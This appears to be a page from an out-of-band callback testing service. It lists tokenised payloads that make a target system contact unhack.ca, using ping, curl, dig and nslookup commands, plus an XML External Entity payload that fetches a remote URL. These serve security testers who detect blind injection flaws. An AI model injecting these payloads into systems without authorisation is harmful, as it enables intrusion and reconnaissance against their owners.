$ ping -c1 -p 008eb5cbce4f1c72f7286b1108d6bd00 unhack.ca
 
$ curl http://unhack.ca/p/8eb5cbce4f1c72f7286b1108d6bd
 
$ dig 8eb5cbce4f1c72f7286b1108d6bd @unhack.ca
 
$ dig 8eb5cbce4f1c72f7286b1108d6bd.ns.unhack.ca
 
C:\> nslookup 8eb5cbce4f1c72f7286b1108d6bd unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8eb5cbce4f1c72f7286b1108d6bd">]>
    <foo>&xxe;</foo>
Waiting for ping...